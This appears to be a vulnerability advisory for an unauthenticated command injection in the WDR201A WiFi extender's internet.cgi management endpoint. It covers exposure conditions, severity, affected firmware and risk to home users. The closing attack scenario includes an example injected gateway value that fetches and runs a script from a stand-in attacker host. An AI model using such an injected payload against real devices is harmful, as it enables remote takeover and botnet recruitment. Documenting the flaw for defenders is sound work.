WDR201A WiFi Extender EUVD-2026-27120

Exploitation requires the WDR201A WiFi Extender's web-based management interface (internet.cgi endpoint) to be network-reachable by the attacker. No authentication, user interaction, or non-default configuration is required (CVSS:4.0 AV:N/AC:L/PR:N/UI:N confirms). Devices deployed in default factory configuration are vulnerable. Primary limiting factor is network exposure: devices behind NAT with management interface bound only to LAN (192.168.x.x) are not exploitable from internet unless WAN access is enabled via port forwarding, DMZ placement, or UPnP. Devices directly connected to ISP modems with public IP assignment or intentionally exposed for remote management are immediately exploitable. The vulnerability exists in firmware version LFMZX28040922V1.02 and earlier on hardware V2.1; newer hardware revisions or firmware versions not independently confirmed.

This vulnerability presents critical real-world risk for internet-exposed WDR201A devices despite being a discontinued consumer product. CVSS 9.3 with vector AV:N/AC:L/PR:N/UI:N accurately reflects trivial remote exploitation requiring no authentication or user interaction. Public exploit code availability (confirmed by VulnCheck research publication) eliminates technical barriers for attackers, though no CISA KEV listing suggests targeted rather than widespread automated exploitation. The primary risk is to home/small office users who expose WiFi extender management interfaces to WAN access (often via UPnP or deliberate port forwarding). Automated IoT botnet scanners (Mirai variants, Mozi) routinely probe for unauthenticated CGI endpoints; this vulnerability profile matches typical botnet recruitment vectors. Risk is constrained by the narrow installed base of this specific vendor/model and assumption that most deployments only expose management on LAN. Organizations should verify whether this model exists in their networks (unlikely in enterprise contexts). For affected users, exploitation leads to complete device compromise with root-level command execution - attackers can pivot to internal networks, exfiltrate WiFi credentials, or enlist devices in DDoS botnets.

An attacker scans the internet for WDR201A devices exposing their web management interface on public IPs, identifying them via HTTP banner fingerprinting or default login pages. Using the publicly available exploit code, the attacker crafts a malicious POST request to /cgi-bin/internet.cgi with a gateway parameter containing injected commands (e.g., 'gateway=192.168.1.1; wget http://attacker.com/bot.sh -O /tmp/bot.sh; sh /tmp/bot.sh;'). The vulnerable set_add_routing function concatenates this unsanitized input into a shell command executed via popen(), installing a cryptocurrency miner or recruiting the device into a DDoS botnet, with partial command output visible in the HTTP response confirming successful execution.